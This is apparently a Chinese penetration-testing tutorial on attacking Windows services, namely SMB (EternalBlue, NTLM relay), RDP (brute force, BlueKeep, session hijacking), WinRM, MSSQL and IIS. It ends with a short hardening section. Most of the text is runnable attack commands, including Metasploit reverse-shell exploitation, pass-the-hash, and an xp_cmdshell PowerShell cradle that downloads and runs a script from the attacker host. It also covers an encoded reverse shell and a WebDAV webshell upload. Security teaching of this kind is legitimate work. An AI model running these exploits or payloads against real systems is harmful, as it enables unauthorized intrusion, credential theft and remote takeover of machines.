Windows 服务与端口攻击面 — SMB、RDP、WinRM 利用

Windows 服务与端口攻击面 — SMB、RDP、WinRM 利用

渗透测试
WindowsSMBRDP

WindowsNTLMRDPWinRMMSSQL

Windows 系统运行着众多网络服务,每一个开放的端口都可能成为攻击者的突破口。在上一篇完成信息收集之后,本文将深入讲解 Windows 环境中最常见的服务攻击面,包括 SMB、RDP、WinRM、MSSQL 和 IIS,从漏洞原理到实战利用,再到对应的安全加固措施,构建完整的攻击与防御知识框架。

SMB 协议攻击

SMB(Server Message Block)协议是 Windows 网络的核心组成部分,负责文件共享、打印服务和进程间通信。由于其广泛部署和协议复杂性,SMB 历来是 Windows 渗透测试中最重要的攻击向量。

MS17-010 永恒之蓝(EternalBlue)

MS17-010 是 2017 年由 Shadow Brokers 泄露的 NSA 武器库中最具破坏力的漏洞之一。该漏洞存在于 SMBv1 协议的事务处理中,允许攻击者通过发送特制数据包实现远程代码执行。

Bash
# 第一步:确认目标是否存在 MS17-010 漏洞nmap --script smb-vuln-ms17-010 -p 445 10.10.10.100 # 第二步:使用 Metasploit 利用漏洞msfconsole -q # 在 msf 中:use exploit/windows/smb/ms17_010_eternalblueset RHOSTS 10.10.10.100set LHOST 10.10.10.5set PAYLOAD windows/x64/meterpreter/reverse_tcprun # 如果成功,将获得 SYSTEM 权限的 Meterpreter 会话# meterpreter > getuid# Server username: NT AUTHORITY\SYSTEM

对于不使用 Metasploit 的场景,可以使用独立的漏洞利用脚本:

Bash
# 使用 AutoBlue 脚本git clone https://github.com/3ndG4me/AutoBlue-MS17-010.gitcd AutoBlue-MS17-010 # 生成 shellcode./shell_prep.sh# 选择反向 shell 类型和参数 # 执行利用python3 eternalblue_exploit7.py 10.10.10.100 shellcode/sc_x64.bin

SMB 签名绕过与中继攻击

当 Windows 主机未强制启用 SMB 签名时,攻击者可以执行 NTLM 中继攻击,将截获的认证凭据转发到其他主机,从而实现无需密码的横向移动。

Bash
# 第一步:检查网络中 SMB 签名未强制的主机crackmapexec smb 10.10.10.0/24 --gen-relay-list relay_targets.txt # 或使用 Nmapnmap --script smb2-security-mode -p 445 10.10.10.0/24# 关注 "Message signing enabled but not required" 的主机 # 第二步:关闭攻击机的 SMB 服务(避免端口冲突)sudo systemctl stop smbd # 第三步:启动 ntlmrelayx 监听# 中继到目标并尝试获取 SAM 数据库sudo impacket-ntlmrelayx -tf relay_targets.txt -smb2support # 中继并执行命令sudo impacket-ntlmrelayx -tf relay_targets.txt -smb2support -c "whoami /all" # 中继到 LDAP(在域环境中创建机器账户)sudo impacket-ntlmrelayx -t ldap://10.10.10.100 --add-computer # 第四步:触发认证(使用 Responder 捕获 NTLM 认证)sudo responder -I eth0 -dwPv # 或使用 mitm6 进行 IPv6 DNS 欺骗触发认证sudo mitm6 -d lab.local

SMB 密码攻击

Bash
# 使用 CrackMapExec 进行密码喷射crackmapexec smb 10.10.10.100 -u users.txt -p 'Spring2024!' --continue-on-success # 使用 Hydra 暴力破解 SMBhydra -L users.txt -P passwords.txt smb://10.10.10.100 # 使用已获取的 NTLM Hash 进行 Pass-the-Hashcrackmapexec smb 10.10.10.100 -u 'administrator' -H 'aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0' # 使用 smbmap 检查共享权限smbmap -H 10.10.10.100 -u 'testuser' -p 'Welcome1!' # 递归列出共享中的文件smbmap -H 10.10.10.100 -u 'testuser' -p 'Welcome1!' -R

RDP 攻击

远程桌面协议(RDP,端口 3389)是 Windows 系统最常用的远程管理手段,也是暴力破解和漏洞利用的重点目标。

暴力破解

Bash
# 使用 Hydra 暴力破解 RDPhydra -L users.txt -P passwords.txt rdp://10.10.10.100 -t 4 -V # 使用 crowbar(专为 RDP 设计的爆破工具)crowbar -b rdp -s 10.10.10.100/32 -U users.txt -C passwords.txt -n 1 # 使用 Ncrackncrack -vv --user administrator -P passwords.txt rdp://10.10.10.100 # RDP 密码喷射(CrackMapExec)crackmapexec rdp 10.10.10.0/24 -u 'testuser' -p 'Welcome1!'

BlueKeep(CVE-2019-0708)

BlueKeep 是 RDP 协议中的高危远程代码执行漏洞,影响 Windows 7、Windows Server 2008/2008 R2 等系统,无需认证即可利用。

Bash
# 漏洞检测nmap --script rdp-vuln-ms12-020 -p 3389 10.10.10.100 # 使用 Metasploit 检测use auxiliary/scanner/rdp/cve_2019_0708_bluekeepset RHOSTS 10.10.10.100run # Metasploit 利用(注意:可能导致蓝屏,慎用)use exploit/windows/rdp/cve_2019_0708_bluekeep_rceset RHOSTS 10.10.10.100set LHOST 10.10.10.5set TARGET 2  # 需要根据目标系统选择正确的 targetrun

RDP 会话劫持

当已获得 SYSTEM 权限时,可以劫持其他用户的 RDP 会话而无需其密码:

Cmd
# 查看当前会话query user # 劫持目标会话(需要 SYSTEM 权限)# 例如目标会话 ID 为 2tscon 2 /dest:console # 通过创建服务来以 SYSTEM 身份执行sc create sesshijack binpath= "cmd.exe /k tscon 2 /dest:rdp-tcp#0"net start sesshijack

WinRM 利用

WinRM(Windows Remote Management,端口 5985/5986)是 Windows 的远程管理框架,提供了强大的远程命令执行能力。

evil-winrm

evil-winrm 是专为渗透测试设计的 WinRM 客户端,功能远超普通 WinRM 连接。

Bash
# 基本连接(用户名密码)evil-winrm -i 10.10.10.100 -u 'testuser' -p 'Welcome1!' # 使用 NTLM Hash 连接(Pass-the-Hash)evil-winrm -i 10.10.10.100 -u 'administrator' -H '31d6cfe0d16ae931b73c59d7e0c089c0' # 加载 PowerShell 脚本evil-winrm -i 10.10.10.100 -u 'testuser' -p 'Welcome1!' -s /opt/scripts/ # 上传/下载文件# PS > upload /tmp/winPEASx64.exe C:\Temp\winPEASx64.exe# PS > download C:\Users\testuser\Desktop\secret.txt /tmp/secret.txt # 使用 SSL 连接(端口 5986)evil-winrm -i 10.10.10.100 -u 'testuser' -p 'Welcome1!' -S
Bash
# CrackMapExec 验证 WinRM 凭据crackmapexec winrm 10.10.10.100 -u 'testuser' -p 'Welcome1!' # 通过 WinRM 执行命令crackmapexec winrm 10.10.10.100 -u 'testuser' -p 'Welcome1!' -x "whoami /priv" # 执行 PowerShell 命令crackmapexec winrm 10.10.10.100 -u 'testuser' -p 'Welcome1!' -X "Get-Process"

MSSQL 攻击

Microsoft SQL Server(端口 1433)在企业环境中广泛部署,其强大的存储过程机制使其成为获取系统命令执行的重要途径。

Bash
# 使用 impacket-mssqlclient 连接impacket-mssqlclient 'testuser:Welcome1!@10.10.10.100' -windows-auth # 使用 sqsh 连接sqsh -S 10.10.10.100 -U sa -P 'DBpassword1!' # 检查当前权限# SQL> SELECT SYSTEM_USER;# SQL> SELECT IS_SRVROLEMEMBER('sysadmin'); # 启用 xp_cmdshell(需要 sysadmin 权限)# SQL> ENABLE_XP_CMDSHELL# 或手动启用:# SQL> EXEC sp_configure 'show advanced options', 1; RECONFIGURE;# SQL> EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; # 通过 xp_cmdshell 执行系统命令# SQL> xp_cmdshell whoami# SQL> xp_cmdshell "powershell -c IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.5/shell.ps1')" # 读取文件# SQL> SELECT * FROM OPENROWSET(BULK 'C:\Windows\System32\drivers\etc\hosts', SINGLE_CLOB) AS Contents; # MSSQL 密码暴力破解hydra -L users.txt -P passwords.txt mssql://10.10.10.100crackmapexec mssql 10.10.10.100 -u sa -p passwords.txt

MSSQL 提权路径

Bash
# 使用 impacket-mssqlclient 的交互式 shellimpacket-mssqlclient 'sa:DBpassword1!@10.10.10.100' # 尝试模拟其他用户# SQL> SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE';# SQL> EXECUTE AS LOGIN = 'sa'; # 通过 MSSQL 获取反向 Shell# SQL> xp_cmdshell "powershell -e JABjAGwAaQBlAG4AdA..."

IIS 漏洞利用

IIS(Internet Information Services)是 Windows 自带的 Web 服务器,常见的攻击面包括:

Bash
# IIS 版本探测curl -I http://10.10.10.100nmap -sV -p 80,443 --script http-server-header 10.10.10.100 # 目录枚举gobuster dir -u http://10.10.10.100 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x asp,aspx,html,txt # IIS 短文件名枚举(波浪号漏洞)python3 iis_shortname_scanner.py http://10.10.10.100/ # WebDAV 探测与利用davtest -url http://10.10.10.100/webdav/cadaver http://10.10.10.100/webdav/ # 上传 webshell(如果 WebDAV 允许写入)curl -X PUT http://10.10.10.100/webdav/cmd.aspx -d @cmd.aspx

安全加固建议

针对上述各服务的攻击面,建议采取以下防御措施:

SMB 加固

PowerShell
# 禁用 SMBv1Set-SmbServerConfiguration -EnableSMB1Protocol $false -ForceDisable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol # 强制 SMB 签名Set-SmbServerConfiguration -RequireSecuritySignature $true -Force # 限制匿名枚举Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "RestrictAnonymous" -Value 2

RDP 加固

PowerShell
# 启用网络级认证(NLA)Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" -Name "UserAuthentication" -Value 1 # 限制 RDP 访问用户组# 仅允许特定组通过 RDP 连接net localgroup "Remote Desktop Users" /add "RDP-AllowedUsers" # 配置账户锁定策略net accounts /lockoutthreshold:5 /lockoutduration:30 /lockoutwindow:30

WinRM 加固

PowerShell
# 仅允许 HTTPS 连接winrm set winrm/config/service '@{AllowUnencrypted="false"}' # 限制 WinRM 访问的 IP 范围Set-Item WSMan:\localhost\Service\IPv4Filter -Value "10.10.10.0/24"

MSSQL 加固

  • 禁用 xp_cmdshell,限制 sysadmin 角色成员
  • 使用 Windows 身份验证而非 SQL 混合认证
  • 将 SQL Server 服务账户配置为低权限专用账户
  • 限制 MSSQL 仅监听内网地址

总结

Windows 服务的攻击面广泛且深入,每一个开放的端口都可能成为攻击链的起点。本文涵盖了五大核心服务的攻击技术:

  • SMB — 从永恒之蓝到 NTLM 中继,攻击面最为丰富
  • RDP — 暴力破解与 BlueKeep 漏洞利用
  • WinRM — 利用 evil-winrm 实现远程命令执行
  • MSSQL — 通过 xp_cmdshell 突破数据库边界
  • IIS — WebDAV 利用与 Web 应用攻击

在实际渗透测试中,这些服务的攻击往往是相互关联的:通过 SMB 枚举获取的凭据可以用于 RDP 登录,通过 MSSQL 获取的命令执行可以横向移动到域控制器。理解每个服务的攻击原理和防御手段,才能在攻防两端都做到游刃有余。

下一篇文章将进入 Windows 提权阶段,探讨如何从普通用户权限提升到 SYSTEM 或管理员权限。

Windows 服务与端口攻击面 — SMB、RDP、WinRM 利用

https://cot.wiki/blog/windows-service-exploitation

作者Perimsx
发布时间
更新时间
许可协议CC BY-NC-SA 4.0
评论功能集成中